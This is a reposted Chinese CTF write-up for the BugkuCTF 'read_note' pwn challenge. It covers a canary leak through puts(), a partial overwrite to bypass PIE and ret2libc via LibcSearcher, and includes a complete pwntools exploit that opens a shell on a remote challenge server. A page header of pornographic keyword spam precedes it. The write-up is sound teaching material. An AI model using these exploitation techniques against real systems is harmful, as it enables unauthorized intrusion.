日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

BugkuCTF-PWN题pwn3-read_note超详细讲解

發布時間:2024/9/27 编程问答 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 BugkuCTF-PWN题pwn3-read_note超详细讲解 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

知識點

puts()的特性 , puts()會一直輸出某地址的數據,直到遇到 \x00

Canary最低位為\x00(截斷符)

\x 和 0x 的區別:
區別不大,都是把數按16進制輸出。
1、0x 表示整型數值 (十六進制)
char c = 0x42; 表示的是一個數值(字母B的ASCII碼66),可以認為等價于: int c = 0x42;
2、\x42用于字符表達,或者字符串表達
char c = ‘\x42’; 亦等價于: char c = 0x42;
char* s = “\x41\x42”; //表示字符串:AB

程序編譯的時候入口并不是main函數,而是start代碼段。事實上,start代碼段還會調用__libc_start_main來做一些初始化工作,最后調用main函數并在main函數結束后做一些處理。

解題流程

先運行一下看看
一開始會讓你輸入一個路徑,不存在的話就會報錯退出,然后打印出文件內容,然后分別輸入note的長度和內容,輸入內容的長度取決于之前的note長度;如果實際輸入的長度不是624,則再輸入一遍

查看保護機制

發現除了RELRO,其他保護機制全開

此題難點:

第一要讀懂題目找出漏洞
第二是要繞過各類保護機制
第三是exp的編寫調試。

第一要讀懂題目找出漏洞

首先分析程序,重要部分如下所示。一開始會讓你輸入一個路徑,不存在的話就會報錯退出,然后打印出文件內容;以上均可以忽略,沒有任何用處。然后分別輸入note的長度和內容,輸入內容的長度取決于之前的note長度;如果實際輸入的長度不是624,則再輸入一遍,此時輸入內容的長度變為0x270(624)。可以發現,v4的長度為0x258(600),而輸入的長度可以任意控制,因此存在棧溢出。

第二是要繞過各類保護機制

確定了漏洞所在,下一個問題就是如何繞過NX、Canary、PIE和ASLR等保護機制了,下面一個個來說。
1.NX很簡單,ROP即可。

2.Canary會很大程度上妨礙棧溢出,但結合本題的環境,輸入一次后緊接著一個puts函數將輸入內容打印出來,然后還有一次輸入的機會,因此可以在第一次輸入時,通過覆蓋Canary最低位的\x00為其他值(Canary最低位肯定為\x00,而puts()會一直輸出直到碰見\x00位置),讓puts()泄露出Canary的內容,第二次輸入時再將正確的Canary寫回去,就可以繞過Canary的保護了。

3.PIE會讓程序加載的基地址隨機化,但是隨機化并不完全,最低三位是不會改變的,可以利用這個特性,通過覆蓋最低的兩位來有限的修改程序控制流,然后再泄露出程序加載地址。

4.至于ASLR,利用ret2libc的方法,泄露出libc的版本,就可以算出system等函數的地址然后get shell了。

第三是exp的編寫調試

通過以上的分析,由于需要泄露三個內容,因此main函數需要執行四次,每次執行都會有兩次輸入,每次執行的工作分別如下:

第一次執行

需要在填滿v4的長度600后,再溢出兩個十六進制位(64位計算機一個地址是8個字節),覆蓋Canary的最低位,然后將Canary打印出來;再次輸入時,將正確的Canary放在原來的位置,然后溢出棧上返回地址的低兩位為\x20。為什么是\x20,是因為從ida里可以發現,vul函數最后retn的地址為0xd1f,main函數的起始地址是0xd20,前面的偏移都是相同的,因此可以通過這類方法繞過PIE再跳回main。


如圖D2E為main的返回地址

第二次執行

在填滿600的基礎上,需要再多溢出兩個地址位數(64位計算機一個地址是8個字節),也就是616。從棧分布可以看出,v4之后是Canary(0x7fffffffde88處),然后再填充一個地址位,就可以輸出main+14的真實地址,也就可以得到程序加載的地址。之后使用跟之前同樣的方法,再次回到main函數的起始位置。

第三次執行

要溢出的就是__libc_start_main的真實地址了,作為main函數的返回地址,從上圖可以看出,可以從棧上泄露__libc_start_main+240的地址,依次利用LibcSearcher算出libc版本,然后得到system地址和/bin/sh字符串的地址。此時已經具備了get shell的條件,但由于第二次輸入的長度所限,因此還要再跳回main函數,再次執行程序。

第四次執行

將payload拼接好,然后發給程序了。由于是64位,傳參需要rdi。通過ROPgadget搜索程序二進制,發現存在pop rdi;ret;的gadget,將其偏移再加上第二步得到的程序加載基地址,就可以得到gadget的真實地址,至此,payload拼接完成,可以拿到shell了。

exp:

from pwn import * from LibcSearcher import * #sh = process('./file/read_note') #本地調試 sh = remote('114.116.54.89',10000) #context.log_level = 'debug'pop_rdi_ret = 0x0000000000000e03 #----------------------------------------------------------------------------------------------------------- #第一次 log.info('first time') sh.sendlineafter('Please input the note path:', 'flag') #在接受到Please input the note path:后才發送~/Desktop + \n sh.sendlineafter('please input the note len:', '1000') sh.recvuntil('please input the note:') #直到接收到please input the note:為止payload1 = 'a'*600 sh.sendline(payload1) #發送一行數據,相當于在末尾加\n sh.recvuntil('a'*600) #直到接收到600個a為止 #繞過canary方法一: canary = u64(sh.recv(8))-0xa log.info('Canary: '+hex(canary))#繞過canary方法二: #canary1=u64(b'\x00'+sh.recv(7))#繞過canary方法三: #canary2 = u64(sh.recv(7).rjust(8,b'\x00'))sh.recvuntil('so please input note(len is 624)') #直到接收到so please input note(len is 624)為止payload1 = b'a'*600 + p64(canary) + p64(1) + b'\x20' print(payload1) sh.send(payload1) #----------------------------------------------------------------------------------------------------------- #第二次 log.info('second time') sh.sendlineafter('Please input the note path:', 'flag') #在接受到Please input the note path:后才發送~/Desktop + \n sh.sendlineafter('please input the note len:', '1000') sh.recvuntil('please input the note:') #直到接收到please input the note:為止payload2 = 'a'*616 sh.send(payload2) #發送payload2里的數據 sh.recvuntil('a'*616) #直到接收到616個a為止 main_addr = u64(sh.recv()[0:6] + b'\x00\x00') - 0xe #D2E為main的返回地址 log.info('main_addr: ' + str(hex(main_addr)))base = main_addr - 0xd20 pop_rdi_ret_addr = base + pop_rdi_ret log.info('base addr:'+str(hex(base)))payload2 = 'a'*600 + p64(canary) + p64(1) + p64(main_addr) sh.send(payload2)#----------------------------------------------------------------------------------------------------------- #第三次 log.info('third time') sh.sendlineafter('Please input the note path:', 'flag') sh.sendlineafter('please input the note len:', '1000') sh.recvuntil('please input the note:')elf = ELF('./file/read_note') #ELF模塊用于獲取ELF文件的信息,通過ELF()獲取這個文件的句柄,然后通過這個句柄調用plt函數獲取PLT的地址 start_plt = elf.plt['__libc_start_main'] print("start_plt: " + hex(start_plt))payload3 = 'a'*648 sh.send(payload3) sh.recvuntil('a'*648) libc_start_addr = u64(sh.recv()[0:6] + b'\x00\x00') - 240 log.info('__libc_start_main:'+str(hex(libc_start_addr)))libc = LibcSearcher('__libc_start_main', libc_start_addr) log.info('libc: ' + str(libc)) libc_base = libc_start_addr - libc.dump('__libc_start_main')#libc.dump(“xxx”) 可以計算出xxx的偏移地址,再libc_start_addr減去偏移地址就得到了libc_base的基址 log.info('libc_base: ' + str(libc_base)) system_addr = libc_base + libc.dump('system')#通過基址加system的偏移,得到system的實際地址 log.info('system_addr' + str(system_addr)) binsh_addr = libc_base + libc.dump('str_bin_sh')#通過基址加/bin/sh字符串的偏移,得到/bin/sh的實際地址 log.info('binsh_addr: ' + str(binsh_addr))payload3 = 'a'*600 + p64(canary) + p64(1) + p64(main_addr) sh.send(payload3)#----------------------------------------------------------------------------------------------------------- #最后一次 log.info('fourth time') sh.sendlineafter('Please input the note path:', 'flag') #在接受到Please input the note path:后才發送~/Desktop + \n sh.sendlineafter('please input the note len:', '1000') sh.recvuntil('please input the note:')payload4 = 'a'*600 + p64(canary) + p64(1) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr) sh.send(payload4) sh.recvuntil('so please input note(len is 624)') sh.send(payload4) sh.interactive()

運行結果




由于本題有bug,建立連接后直接輸入flag,出現flag

總結

以上是生活随笔為你收集整理的BugkuCTF-PWN题pwn3-read_note超详细讲解的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。